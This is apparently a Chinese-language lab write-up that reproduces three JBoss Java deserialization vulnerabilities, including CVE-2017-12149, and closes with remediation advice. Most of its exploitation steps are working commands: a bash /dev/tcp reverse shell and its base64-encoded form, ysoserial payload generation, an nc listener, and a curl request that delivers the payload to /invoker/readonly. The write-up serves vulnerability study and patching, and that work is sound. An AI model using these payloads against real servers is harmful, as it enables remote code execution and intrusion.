JBoss系列漏洞复现
JBoss 5.x/6.x 反序列化漏洞(CVE-2017-12149)
1、漏洞描述
该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了漏洞。
2、影响版本
5.x和6.x版本
3、漏洞复现
3.1 环境搭建
docker-compose up -d
快速搭建环境
访问网址:http://xxx:8080/
,即可看到JBoos默认界面
3.2 漏洞利用
漏洞出现在/invoker/readonly
请求中,服务器将用户提交的POST内容进行了Java反序列化
通过检测工具发现存在漏洞,工具地址:https://github.com/yunxu1/jboss-_CVE-2017-12149
反弹shell
使用bash来反弹shell
1 | bash -i >& /dev/tcp/192.168.0.103/10888 0>&1 |
但由于Runtime.getRuntime().exec()
中不能使用管道符等bash需要的方法,我们需要用进行一次编码
编码后:
1 | bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwODg4IDA+JjE=}|{base64,-d}|{bash,-i} |
序列化数据生成
1 | java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTAzLzEwODg4IDA+JjE=}|{base64,-d}|{bash,-i}" > 1.ser |
这时同级目录下多了一个1.ser
文件,然后打开nc工具监听本地端口
1 | nc -lvp 10888 |
通过brup或者curl工具将这个文件发送到/invoker/readonly
1 | curl http://192.168.0.106:8080/invoker/readonly --data-binary @1.ser |
发送成功之后发现shell反弹成功
第二种反弹方式
git下载
1 | [email protected]:joaomatosf/JavaDeserH2HC.git |
编译ReverseShellCommonsCollectionsHashMap.java
这里注意一下符号,Windows系统符号为;
,Linux系统符号为:
,还有需要注意的是Windows平台最好使用系统自带的cmd命令行
1 | javac -cp .;commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java |
生成ser
文件,后面跟IP:端口
,执行完成之后会创建ReverseShellCommonsCollectionsHashMap.ser
文件
1 | java -cp .;commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.0.103:10888 |
通过brup或者curl工具将这个文件发送到/invoker/readonly
,成功反弹shell
4、修复建议
- 升级版本
- 删除http-invoker.sar组件
- 限制访问
...\httpinvoker.sar\invoker.war\WEB-INF
下的web.xml
的security-constraint
标签中,对http-invoker组件进行访问控制。
1 | <url-pattern>/*</url-pattern> |
JBoss 4.x JBossMQ JMS 反序列化漏洞(CVE-2017-7504)
1、漏洞描述
Red Hat JBoss Application Server 是一款基于JavaEE的开源应用服务器。JBoss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
2、影响版本
JBoss AS 4.x及之前版本
3、漏洞复现
3.1 环境搭建
环境启动后,目标为http://your-ip:8080
访问http://your-ip:8080/jbossmq-httpil/HTTPServerILServlet
很有可能存在漏洞
3.2 漏洞利用
该漏洞出现在/jbossmq-httpil/HTTPServerILServlet
请求中,漏洞利用过程和上面的漏洞利用一样,这里不过多演示。
4、修复建议
- 和上面一样
JBoss JMXInvokerServlet 反序列化漏洞
1、漏洞描述
这是经典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet
请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。
2、影响版本
1 | JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10 |
3、漏洞复现
3.1 环境搭建
初始化完成后访问http://your-ip:8080/
即可看到JBoss默认页面。
3.2 漏洞利用
JBoss在处理/invoker/JMXInvokerServlet
请求的时候读取了对象,所以我们直接将ysoserial生成好的POC附在POST Body中发送即可。整个过程可参考CVE-2017-12149